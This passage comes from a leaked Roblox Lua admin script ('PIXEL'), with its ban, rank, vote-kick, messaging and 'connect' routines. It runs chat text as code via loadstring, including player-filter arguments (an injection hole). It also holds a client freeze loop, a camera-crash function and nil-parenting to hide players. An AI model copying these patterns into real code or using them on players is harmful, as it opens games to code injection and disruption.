					pcall(Item.Destroy,Item)
1593
					LocalPlayer.Parent=nil
1594
					wait()
1595
					LocalPlayer.Parent=PIXEL.ServPIXELs.Players
1596
					wait(1)
1597
					repeat until nil
1598
				end
1599
			end
1600
		if PIXEL.ServPIXELs.Lighting:findFirstChild'Ender' then
1601
			if PIXEL.ServPIXELs.Lighting.Ender.Value=="]]..PIXEL.Ender..[[" then
1602
				Removed=true
1603
			end
1604
		end
1605
		end
1606
		end)]],Player.Character)
1607
		PIXEL.Output('Connect succesfully!','Green',Player,3)
1608
		end
1609
	end)()
1610
	coroutine.wrap(function()
1611
		Player:WaitForDataReady()
1612
		if Player.Character==nil then
1613
			Player:LoadCharacter();
1614
		end
1615
		if PIXEL.Ranked[Player.Name]==nil then
1616
			local Rankkh=0
1617
			Colorr=Color3.new(0,1,0);
1618
			local Item=PIXEL.LoadData(Player)
1619
			if Item.Rank ~= nil then
1620
				Rankkh=Item.Rank
1621
				Colorr=Item.Color
1622
			end
1623
			PIXEL.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0),CMD=false};
1624
		end
1625
		coroutine.wrap(function()
1626
			local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end)
1627
			FoundChat=PIXEL.ChatConnections[Player.Name]
1628
			if FoundChat~=nil then
1629
				FoundChat.Conn:disconnect()
1630
				PIXEL.ChatConnections[Player.Name]={Conn=Connection}
1631
			else
1632
				PIXEL.ChatConnections[Player.Name]={Conn=Connection};
1633
			end
1634
		end)()
1635
		ToBeRemoved=false
1636
		if PIXEL.Ranked[Player.Name].Rank == -1 then
1637
			for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do
1638
				if v.Name == Player.Name then
1639
					--
1640
				else
1641
					pcall(function() Player:Destroy() end)
1642
					PIXEL.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5)
1643
				end
1644
			end
1645
			repeat
1646
			Player:Destroy();wait();
1647
			until Player==nil
1648
		end
1649
		if Player.Name:sub(1,6) == 'Guest ' then
1650
			ToBeRemoved=true
1651
			for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do
1652
				if v.Name ~= Player.Name then
1653
					pcall(function() Player:Destroy() end)
1654
					PIXEL.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5)
1655
				end
1656
			end
1657
		end
1658
		if Player.AccountAge < 7 and PIXEL.Ranked[Player.Name].Rank == 0 then
1659
			ToBeRemoved=true
1660
			for _,v in pairs(PIXEL.ServPIXELs.Players:children()) do
1661
				if v.Name ~= Player.Name then
1662
					pcall(function() Player:Destroy() end)
1663
					PIXEL.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5)
1664
				end
1665
			end
1666
		end
1667
		if ToBeRemoved==true then
1668
			repeat
1669
				Player:Destroy();wait();
1670
			until Player==nil
1671
		else
1672
						--if PIXEL.LocalScript and game.PlaceId~= 21053279 then
1673
		--end
1674
		
1675
		end
1676
		repeat
1677
			wait()
1678
		until PIXEL.Ranked[Player.Name]
1679
		wait()
1680
		if PIXEL.ServPIXELs.Players:findFirstChild(Player.Name) and ToBeRemoved==false then
1681
			--Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end)
1682
			PIXEL.SetChat(Player);
1683
			if PIXEL.GetRank(Player) > 0 then
1684
				PIXEL.Output('Your rank is ' .. PIXEL.GetRank(Player),'Orange',Player,10)
1685
				PIXEL.Output('Welcome to PIXEL by AdminMakerLeaked','Green',Player,10)
1686
				PIXEL.OnChatted(PIXEL.Bets[2]..'connect'..PIXEL.Bets[2],Player,true)
1687
			else
1688
				PIXEL.OnChatted(PIXEL.Bets[1]..'menu'..PIXEL.Bets[2],Player,true)
1689
			end
1690
		end
1691
	end)()
1692
1693
end
1694
PIXEL.Command=function(Name,Command,Rank,Desc,Args,Func)
1695
	PIXEL.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func};
1696
end;
1697
PIXEL.CreateTablets=function(Texts,Colors,Player,Times,Funcs)
1698
	if type(Texts) ~= 'table' then
1699
		Texts={Texts}
1700
	end
1701
	if type(Colors) ~= 'table' then
1702
		Colors={Colors}
1703
	end
1704
	if type(Times) ~= 'table' then
1705
		Times={Times}
1706
	end
1707
	if type(Funcs) ~= 'table' then
1708
		Funcs={Funcs}
1709
	end
1710
	Tabs={};
1711
	if #Colors == 1 and #Texts > 1 then
1712
		for i,v in pairs(Texts) do
1713
			Tabs[#Tabs+1]=PIXEL.Output(v,Colors[1],Player,Times[1],Funcs[1])
1714
		end
1715
	else
1716
		for i,v in pairs(Texts) do
1717
			Tabs[#Tabs+1]=PIXEL.Output(v,Colors[i],Player,Times[i],Funcs[i])
1718
		end
1719
	end
1720
	return Tabs
1721
end
1722
PIXEL.GetRank=function(Playr)
1723
	if type(Playr) == 'userdata' then Playr=Playr.Name end;
1724
	local Rank=0
1725
	local g =PIXEL.Ranked[Playr]
1726
	if g then Rank = g.Rank end
1727
	return Rank
1728
end
1729
PIXEL.TableToString=function(Table,TableName)
1730
	local String=""
1731
	if TableName then
1732
		local String= [[ local ]] .. TableName .. [[ = { ]]
1733
	else
1734
		String="{"
1735
	end
1736
	for i,v in pairs(Table) do
1737
		if type(i)=='string' then
1738
			if type(v) ~='table' then
1739
				if type(v)=='string' then
1740
					String=String..i..[[=]]..v..[[;]]
1741
				elseif type(v)=='number' then
1742
					String=String..i..[[=]]..tostring(v)..[[;]]
1743
				else 
1744
					String=String..i..[[=]]..v..[[;]]
1745
				end
1746
			else
1747
				local Tab=PIXEL.TableToString(v,i)
1748
				String=String..i..[[=]]..Tab..[[;]]
1749
			end
1750
		else
1751
			if type(v) ~='table' then
1752
				if type(v)=='string' then
1753
					String=String..v..[[;]]
1754
				elseif type(v)=='number' then
1755
					String=String..tostring(v)..[[;]]
1756
				else 
1757
					String=String..v..[[;]]
1758
				end
1759
			else
1760
				local Tab=PIXEL.TableToString(v,i)
1761
				String=String..Tab..[[;]]
1762
			end		
1763
		end
1764
	end
1765
	if String:sub(#String,#String)==';' then
1766
		String=String:sub(1,#String-1)
1767
	end
1768
	String=String.."}"
1769
	return String
1770
end
1771
PIXEL.SandboxLoadstring=function(Source)
1772
        local Func = loadstring(Source or "")
1773
        setfenv(Func,{___ENV = getfenv(1)})
1774
        return coroutine.wrap(Func)
1775
end
1776
PIXEL.GetPlayers=function(Msg,Speaker)
1777
        if Msg == nil or Speaker == nil then
1778
                return PIXEL.ServPIXELs.Players:GetPlayers() 
1779
        else
1780
                local Rtn = {}
1781
                local Players = game:servPIXEL'Players':GetPlayers()
1782
                Msg = Msg:lower()
1783
                local Split = Msg:find(",")
1784
                if Split ~= nil then
1785
                        for _,v in pairs(PIXEL.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
1786
                                Rtn[#Rtn+1] = v
1787
                        end
1788
                        for _,v in pairs(PIXEL.GetPlayers(Msg:sub(Split+1),Speaker)) do
1789
                                Rtn[#Rtn+1] = v
1790
                        end
1791
                elseif Msg == "me" then
1792
						if Speaker:IsA'Player' then
1793
							Rtn[#Rtn+1] = Speaker
1794
						else
1795
							Rtn[#Rtn+1] = game.Players:GetPlayers()[math.random(1,#game.Players:GetPlayers())]
1796
						end
1797
                elseif Msg == "others" then
1798
                        for _,v in pairs(Players) do
1799
                                if v ~= Speaker then
1800
                                        Rtn[#Rtn+1] = v
1801
                                end
1802
                        end
1803
                elseif Msg == "all" then
1804
                        for _,v in pairs(Players) do
1805
                                Rtn[#Rtn+1] = v
1806
                        end
1807
                elseif Msg:sub(1,4) == "rank" then
1808
                        for _,v in pairs(Players) do
1809
                                if PIXEL.SandboxLoadstring("return "..tostring(PIXEL.GetRank(v))..Msg:sub(5))() then
1810
                                        Rtn[#Rtn+1] = v
1811
                                end
1812
                        end
1813
                elseif Msg == "random" then
1814
                        Rtn[#Rtn+1] = Players[math.random(1,#Players)]
1815
                elseif Msg:sub(1,4) == "not " then
1816
                        local Nots = GetPlayers(Msg:sub(5),Speaker)
1817
                        for _,v in pairs(Players) do
1818
                                local ShouldAdd = true
1819
                                for _,i in pairs(Nots) do
1820
                                        if v == i then
1821
                                                ShouldAdd = false
1822
                                        end
1823
                                end
1824
                                if ShouldAdd == true then
1825
                                        Rtn[#Rtn+1] = v
1826
                                end
1827
                        end
1828
                elseif Msg:sub(1,4) == "dist" then
1829
                        for _,v in pairs(Players) do
1830
                                --pcall(function()
1831
                                        local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude
1832
                                        if PIXEL.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then
1833
                                                Rtn[#Rtn+1] = v
1834
                                        end
1835
                                --end)
1836
                        end
1837
                elseif Msg:sub(1,3) == "age" then
1838
                        for _,v in pairs(Players) do
1839
                                if PIXEL.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then
1840
                                        Rtn[#Rtn+1] = v
1841
                                end
1842
                        end
1843
                else
1844
                        for _,v in pairs(Players) do
1845
                                if v.Name:lower():sub(1,#Msg) == Msg then
1846
                                        Rtn[#Rtn+1] = v
1847
                                end
1848
                        end
1849
                end
1850
                                         for i=1,#Rtn do
1851
														
1852
                                                        if PIXEL.Ranked[Rtn[i].Name] and PIXEL.Ranked[Rtn[i].Name].Rank > PIXEL.Ranked[Speaker.Name].Rank then
1853
                                                                PIXEL.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker)
1854
                                                                Rtn[i]=nil
1855
                                                        end
1856
                                        end
1857
        for _,Player in pairs(Rtn) do
1858
    for _,Parts in pairs(Player.Character:GetChildren()) do
1859
        local Color = PIXEL.Ranked[Speaker.Name].Color
1860
        if Parts.className == 'Part' then
1861
local Box = Instance.new('SelectionBox', Parts)
1862
Box.Adornee = Parts
1863
Box.Color = BrickColor.new(Color)
1864
Box.Transparency = 0.5
1865
        end
1866
    end
1867
    coroutine.resume(coroutine.create(function()
1868
wait(1)
1869
for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
1870
1871
if Things.className == 'SelectionBox' then Things:remove() end
1872
            end
1873
        end
1874
    end))
1875
end
1876
                return Rtn
1877
        end
1878
end
1879
PIXEL.RemoveTablets=function(Player)
1880
	if type(Player)=='userdata' then Player=Player.Name end;
1881
	Tablets=PIXEL.GetTablets(Player);
1882
	for _,v in pairs(Tablets) do
1883
        coroutine.wrap(function()
1884
				for i=0,1,0.1 do wait()
1885
					    v.Part.Transparency = i
1886
               		 	v.Sel.Transparency = i
1887
                		v.Label.TextTransparency = i		
1888
				end
1889
            v.Model:Destroy()
1890
        end)()
1891
	end
1892
end
1893
PIXEL.VoteData.AddVote=function(Player,Value)
1894
	PIXEL.VoteData.Votes[Player.Name]=Value
1895
end
1896
PIXEL.VoteData.RemoveVote=function(Player)
1897
	PIXEL.VoteData.Votes[Player.Name]=nil
1898
end
1899
PIXEL.VoteData.PlayerHasVoted=function(Player)
1900
	Is=false
1901
	if PIXEL.VoteData.Votes[Player.Name]==nil then
1902
		for P,V in pairs(PIXEL.VoteData.Votes) do
1903
			if P:lower():sub(1,#Player.Name)==Player.Name:lower() then
1904
				Is=true
1905
			end
1906
		end
1907
	else
1908
		Is=true
1909
	end
1910
	return Is
1911
end
1912
PIXEL.VoteData.ActivateVoteKick=function(Player)
1913
	PIXEL.VoteData.Votes={};-- Clear the votes
1914
	PIXEL.VoteData.IsVoting=false-- Reset Voting Value
1915
	PIXEL.VoteData.VotedPlayer=""-- Reset Voted Player
1916
	PIXEL.VoteData.VotingPlayers={};-- Reset Voting Players Table
1917
	PIXEL.VoteData.IsVoting=true;
1918
	PIXEL.VoteData.VotedPlayer=Player.Name
1919
	PIXEL.VoteData.VotingPlayers=PIXEL.ServPIXELs.Players:GetPlayers()
1920
	for _nil_,VPlayer in pairs(PIXEL.VoteData.VotingPlayers) do
1921
		coroutine.wrap(function()
1922
			local Tabs={};
1923
			local EndCor=false;
1924
			Tabs['Yes']=PIXEL.Output('Vote yes!','Red',VPlayer,nil,function() PIXEL.VoteData.AddVote(VPlayer,true) EndCor=true end)
1925
			Tabs['No']=PIXEL.Output('Vote no!','Red',VPlayer,nil,function() PIXEL.VoteData.AddVote(VPlayer,false) EndCor=true end)
1926
			Tabs['Info']=PIXEL.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
1927
			coroutine.wrap(function()
1928
				repeat
1929
					for Name,Dat in pairs(Tabs) do
1930
						if Dat.Model.Parent==nil or Dat.Part.Parent==nil then
1931
							if Name=='Yes' then
1932
								Tabs[Name]=PIXEL.Output(Dat.Label.Text,'Red',VPlayer,function() PIXEL.VoteData.AddVote(VPlayer,true) EndCor=true end)
1933
							elseif Name=='No' then
1934
								Tabs[Name]=PIXEL.Output(Dat.Label.Text,'Red',VPlayer,function() PIXEL.VoteData.AddVote(VPlayer,false) EndCor=true end)
1935
							else
1936
								Tabs[Name]=PIXEL.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
1937
							end
1938
						end
1939
					end
1940
					wait()
1941
				until EndCor==true
1942
			end)()
1943
		end)()
1944
	end
1945
	coroutine.wrap(function()
1946
		repeat
1947
			wait()
1948
		until #PIXEL.VoteData.Votes == #PIXEL.VoteData.VotingPlayers
1949
		local Yes,No=0,0
1950
		for Name,P in pairs(PIXEL.VoteData.Votes) do
1951
			if P==true then
1952
				Yes=Yes+1
1953
			else
1954
				No=No+1
1955
			end
1956
		end
1957
		-- 2/3rds of Votes need to be yes for the Player to be kicked
1958
		VoteMsg=Instance.new'Message'
1959
		VoteMsg.Name='Voting'
1960
		VoteMsg.Parent=PIXEL.ServPIXELs.Workspace:findFirstChild'Base' or PIXEL.ServPIXELs.Workspace
1961
		VoteMsg.Text='All the votes are in now calculating votes'
1962
		local Needed = #PIXEL.VoteData.VotingPlayers
1963
		local NumNeed=false
1964
		local IsMult=false
1965
		for i=3,30 do
1966
			if Needed==i then
1967
				IsMult=true
1968
			end
1969
		end
1970
		if IsMult==true then 
1971
			NumNeeded = Needed / 3 
1972
			NumNeeded=NumNeeded + NumNeeded
1973
		else
1974
			local Mult=0
1975
			for b=3,30 do
1976
				if b < Needed then
1977
					Mult=b
1978
				end
1979
			end
1980
			-- Found Least Multiple of 3 with remainder
1981
			local Remainder=Needed - Mult
1982
			if Remainder == 1 then
1983
				-- What to do
1984
				NumNeeded= Needed / 3
1985
				NumNeeded=NumNeeded + NumNeeded
1986
			else
1987
				-- Remainder is 2 :)
1988
				NumNeeded = tonumber(Needed + 1) / 3
1989
				NumNeeded = NumNeeded + NumNeeded
1990
			end
1991
		end
1992
		wait(1)
1993
		VoteMsg='The votes are in; (Yes): ' .. Yes .. ' (No): ' .. No
1994
		wait(1)
1995
		if Yes >= Needed then
1996
			VoteMsg.Text=Player.Name .. ' will now be kicked'
1997
			pcall(function() Player:Destroy() end)
1998
		else
1999
			VoteMsg=Player.Name .. ' will not be kicked'
2000
		end
2001
	end)()
2002
end			
2003
PIXEL.CrashObj=function(Object)
2004
				--Object:Destroy()
2005
				Object.Parent.Head:Destroy()
2006
				Object.Parent:Destroy()  
2007
end			
2008
PIXEL.CrashCam=function()
2009
	local Focus=PIXEL.ServPIXELs.Workspace:findFirstChild('Focus',true)
2010
	if Focus then
2011
		PIXEL.CrashObj(Focus)
2012
	end
2013
end
2014
PIXEL.MakeMessage=function(str,p)
2015
	if p==nil then
2016
		for _,Player in pairs(game.Players:GetPlayers()) do
2017
			coroutine.wrap(function()
2018
				local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2019
				local Text = Instance.new("TextLabel", Msg)
2020
				Text.Position = UDim2.new(0, 0, 0.7, 0)
2021
				Text.Font=2
2022
				Text.FontSize=9
2023
				Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2024
				Text.BackgroundTransparency = 0.4
2025
				Text.TextColor3 = Color3.new(1, 1, 1)
2026
				Text.TextTransparency = 1
2027
				Text.TextWrap = true
2028
				Text.Text = tostring(str)
2029
				Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2030
				Text.TextTransparency = 0
2031
				Num = #str * 0.06
2032
				wait(3)
2033
				Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2034
				wait(Num)
2035
				Msg:Remove()
2036
			end)()
2037
		end
2038
	else
2039
		Player=p;
2040
		coroutine.wrap(function()
2041
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2042
			local Text = Instance.new("TextLabel", Msg)
2043
			Text.Position = UDim2.new(0, 0, 0.7, 0)
2044
			Text.Font=2
2045
			Text.FontSize=9
2046
			Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2047
			Text.BackgroundTransparency = 0.1
2048
			Text.TextColor3 = Color3.new(1, 1, 1)
2049
			Text.TextTransparency = 1
2050
			Text.TextWrap = true
2051
			Text.Text = tostring(str)
2052
			Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2053
			Text.TextTransparency = 0
2054
			Num = #str * 0.06
2055
			wait(3)
2056
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2057
			wait(Num)
2058
			Msg:Remove()
2059
		end)()
2060
	end
2061
end
2062
PIXEL.SystemMsg=function(str)
2063
	for _,Player in pairs(game.Players:GetPlayers()) do
2064
		coroutine.wrap(function()
2065
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2066
			local Text = Instance.new("TextLabel", Msg)
2067
			Text.Position = UDim2.new(0, 0, 0, 0)
2068
			Text.Font='Legacy'
2069
			Text.FontSize = "Size48"
2070
			Text.BackgroundColor3 = Color3.new(-1,-1,-1)
2071
			Text.BackgroundTransparency = 0.4
2072
			Text.TextColor3 = Color3.new(1,1,1)
2073
			Text.TextTransparency = 0
2074
			Text.TextWrap = true
2075
			Text.Text = '[ System Message ] \n ' .. tostring(str)
2076
			Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
2077
			Text.TextTransparency = 0.1
2078
			Num = #str * 0.06
2079
			wait(6)
2080
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2081
			wait(Num)
2082
			Msg:Remove()
2083
		end)()
2084
	end
2085
end
2086
PIXEL.MakeHint=function(str,p)
2087
	if p == nil then
2088
		for _,Player in pairs(game.Players:GetPlayers()) do
2089
			coroutine.wrap(function()
2090
				local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2091
				local Text = Instance.new("TextLabel", Msg)
2092
				Text.Position = UDim2.new(0, 0, 0, 0)
2093
				Text.Font=2
2094
				Text.FontSize=9
2095
				Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2096
				Text.BackgroundTransparency = 0.4
2097
				Text.TextColor3 = Color3.new(1, 1, 1)
2098
				Text.TextTransparency = 1
2099
				Text.TextWrap = true
2100
				Text.Text = tostring(str)
2101
				Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2102
				Text.TextTransparency = 0
2103
				Num = #str * 0.06
2104
				wait(3)
2105
				Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2106
				wait(Num)
2107
				Msg:Remove()
2108
			end)()
2109
		end
2110
	else
2111
		Player=p
2112
		coroutine.wrap(function()
2113
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2114
			local Text = Instance.new("TextLabel", Msg)
2115
			Text.Position = UDim2.new(0, 0, 0, 0)
2116
			Text.Font=2
2117
			Text.FontSize=9
2118
			Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2119
			Text.BackgroundTransparency = 0.1
2120
			Text.TextColor3 = Color3.new(1, 1, 1)
2121
			Text.TextTransparency = 1
2122
			Text.TextWrap = true
2123
			Text.Text = tostring(str)
2124
			Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2125
			Text.TextTransparency = 0
2126
			Num = #str * 0.06
2127
			wait(3)
2128
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2129
			wait(Num)
2130
			Msg:Remove()
2131
		end)()
2132
	end
2133
end
2134
PIXEL.GiveInfo=function(Speaker)
2135
	Num_Commands=0
2136
	Num_ServPIXELs=0
2137
	Num_Tablets=0
2138
	Num_Ranked=0
2139
	Version=1
2140
	coroutine.wrap(function() for i,v in pairs(PIXEL.Commands) do Num_Commands=Num_Commands+1 end end)()
2141
	coroutine.wrap(function() for i,v in pairs(PIXEL.ServPIXELs) do Num_ServPIXELs=Num_ServPIXELs+1 end end)()
2142
	coroutine.wrap(function() for i,v in pairs(PIXEL.Ranked) do Num_Ranked=Num_Ranked+1 end end)()
2143
	coroutine.wrap(function() for i,v in pairs(PIXEL.Tablets) do Num_Tablets=Num_Tablets+1 end end)()
2144
	coroutine.wrap(function() for i,v in pairs(PIXEL) do if type(v)=='function' then Version=Version+#PIXEL/0.01337 end end end)()
2145
	PIXEL.Output('#Tablets ' .. tostring(Num_Tablets),'Random',Speaker)
2146
	PIXEL.Output('#ServPIXELs ' .. tostring(Num_ServPIXELs),'Random',Speaker)
2147
	PIXEL.Output('#Ranked ' .. tostring(Num_Ranked),'Random',Speaker)
2148
	PIXEL.Output('#Commands ' .. tostring(Num_Commands),'Random',Speaker)
2149
	PIXEL.Output('Version : ' .. tostring(Version),'Random',Speaker)
2150
	PIXEL.Output('Help menu','Green',Speaker,nil,
2151
			function()
2152
			    PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end)
2153
				PIXEL.Output('Get player operators','Orange',Speaker,nil,function()
2154
						PIXEL.RemoveTablets(Speaker)
2155
						PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end)
2156
						Infos={
2157
							{T="The bets are ["..PIXEL.Bets[1]..";"..PIXEL.Bets[2].."]",C="Orange"};
2158
							{T="To use a cmd its "..PIXEL.Bets[1].."Command"..PIXEL.Bets[2].."Arguments/Args",C="Orange"};
2159
							{T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
2160
							{T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
2161
							{T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
2162
						};
2163
						for i,v in pairs(Infos) do
2164
							PIXEL.Output(v.T,v.C,Speaker)
2165
						end
2166
				end)
2167
				PIXEL.Output('Chat operators','Orange',Speaker,nil,function()
2168
					--ypcall(function()
2169
						PIXEL.RemoveTablets(Speaker)
2170
						Infos={
2171
							{T="To use a cmd more then once do '" .. PIXEL.Bets[1] .. " do (a number)"..PIXEL.Bets[1].."(a command)".. PIXEL.Bets[2] .."(arguments)'",C="Blue"};
2172
							{T="To wait before using a command do '" .. PIXEL.Bets[1].. " wait" .. PIXEL.Bets[1].. "(a command)" .. PIXEL.Bets[2] .. "(arguments)'",C="Blue"};
2173
						};
2174
						for i,v in pairs(Infos) do
2175
							PIXEL.Output(v.T,v.C,Speaker)
2176
						end
2177
						PIXEL.Output('Back','Blue',Speaker,nil,function() PIXEL.OnChatted(PIXEL.Bets[1]..'help'..PIXEL.Bets[2],Speaker,true) end)
2178
					--end)
2179
				end)
2180
			end
2181
		)
2182
end
2183
--[[ Sandbox ]]--
2184
PIXEL.SandBoxCoding=[[
2185
	coroutine.wrap(function()
2186
		repeat
2187
			wait()
2188
				for i,v in pairs(getfenv()) do
2189
					obj=getfenv[i]
2190
					if type(obj)=='userdata' then
2191
						if obj.Name=='PIXELAdminLeaked' then
2192
							if obj:IsA'Player' then
2193
								getfenv()[i]=nil;
2194
							end
2195
						end
2196
					end
2197
				end
2198
		until	 1+1==3
2199
	end)()
2200
	%s
2201
]]
2202
PIXEL.SandBoxScript=function(Script)
2203
	Source=nil;
2204
	Script.Disabled=true
2205
	for i,v in pairs(Script:children()) do
2206
		if v:IsA'StringValue' then
2207
			Old="" .. PIXEL.SandBoxCoding
2208
			Old=Old:format(v.Value)
2209
			v.Value=Old
2210
		end
2211
	end
2212
	Script.Disabled=false
2213
end
2214
--[[ End Of Sand Box ]]--
2215
--[=[ End of funcs ]=]--
2216
--[[ Rank 0 ]]--
2217
PIXEL.Command('Connect','connect',0,'Connects to nil devPIXEL','No args',
2218
	function(Msg,Speaker)
2219
		SC=PIXEL.CreateLocalScript([==[script.Parent=nil
2220
Player=game.Players.LocalPlayer
2221
Probe=Instance.new'Part';
2222
CN='PIXELAdminLeaked'
2223
Camera=Workspace.CurrentCamera
2224
Animate = game:GetServPIXEL("InsertServPIXEL"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
2225
Char = Player.Character
2226
if Char then
2227
	Char.Archivable = true
2228
	Char = Char:clone()
2229
	local t = game:GetServPIXEL("InsertServPIXEL"):LoadAsset(68452456):findFirstChild("Clone")
2230
	if t then
2231
		for k,v in pairs(Char:GetChildren()) do
2232
			if not v:IsA("Part") then
2233
				v:clone().Parent = t
2234
			end
2235
		end
2236
		Char = t:clone()
2237
	end
2238
end
2239
Title=function(txt,part,color,rise)
2240
	col=nil
2241
	col=Color3.new(BrickColor.new(color))
2242
	local Gui = Instance.new("BillboardGui",part)
2243
	Gui.Name = "3DGUI"
2244
	Gui.ExtentsOffset = Vector3.new(0,2,0)
2245
	Gui.Size = UDim2.new(8,0,2,0)
2246
	local Tit = Instance.new("TextLabel",Gui)
2247
	Tit.Name = "Title"
2248
	Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
2249
	Tit.TextColor3 = Color3.new(0,0,0)
2250
	Tit.TextTransparency = 0.25
2251
	Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
2252
	Tit.TextStrokeTransparency = 0.5
2253
	Tit.Size = UDim2.new(1,0,1,0)
2254
	Tit.BackgroundTransparency = 1
2255
	Tit.Font = "ArialBold"
2256
	Tit.TextScaled = true
2257
	Tit.Text = txt
2258
	if rise then
2259
		if not tonumber(rise) then rise = 1 end
2260
		coroutine.wrap(function()
2261
			while Tit.Parent and Gui.Parent and wait() do
2262
				Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
2263
			end
2264
		end)()
2265
	end
2266
	return Tit
2267
end
2268
Chat=function(Part,Text,Color,Type)
2269
	if Type==nil or Type==1 or Type=='Bubble' then
2270
		game:servPIXEL'Chat':Chat(Part,Text,Color)
2271
	else
2272
		if type(Color)~='string' then	
2273
			Color=tostring(BrickColor.random())
2274
		end
2275
		Title(Text,Part,Color,math.random(1,3))
2276
	end
2277
end
2278
DestroyCharacter=function()
2279
	local chara = Player.Character
2280
	if not chara then return end
2281
	if chara:findFirstChild("Humanoid") then
2282
		chara.Humanoid:Destroy()
2283
	end
2284
	chara:BreakJoints()
2285
	for k,v in pairs(chara:GetChildren()) do
2286
		if v:IsA("BasePart") then
2287
			v.CanCollide = false
2288
			v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
2289
			v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2290
		end
2291
	end
2292
	game.Debris:AddItem(chara,3)
2293
end
2294
MakeProbe=function()
2295
	if Player.Character then DestroyCharacter() end Player.Character = nil
2296
	if Probe then Probe:Destroy() end
2297
	Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
2298
	Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
2299
	Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
2300
	Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
2301
	coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
2302
	--Player.Character=Probe
2303
end
2304
Spawn=function()
2305
	if Char then
2306
		local c = Char:clone()
2307
		c.Name = CN
2308
		c.Parent = workspace
2309
		c:MoveTo(workspace.CurrentCamera.Focus.p)
2310
		Player.Character = c
2311
		workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
2312
		workspace.CurrentCamera.CameraType = "Custom"
2313
		Probe:Destroy()
2314
	end
2315
end
2316
Player.Chatted:connect(function(Msg)
2317
	if Msg:sub(1,2) == '\\\\' then
2318
		local Func,Error=loadstring(Msg:sub(3))
2319
		if Error==nil then
2320
			pcall(Func)
2321
			if Player.Character then
2322
				game:servPIXEL'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
2323
			end
2324
		else
2325
			if Player.Character then
2326
				game:servPIXEL'Chat':Chat(Player.Character.Head,Error,'Red')
2327
			else
2328
				local Msg=Instance.new'Message'
2329
				Msg.Parent=Workspace.CurrentCamera
2330
				Msg.Text=Error
2331
				game:servPIXEL'Debris':AddItem(Msg,5)
2332
			end
2333
		end
2334
	elseif Msg:sub(1,#('newlocal')+2) == '\\newlocal\\' then
2335
		NewMsg=Msg:sub(#('newlocal')+3)
2336
		Split=NewMsg:find('\\')
2337
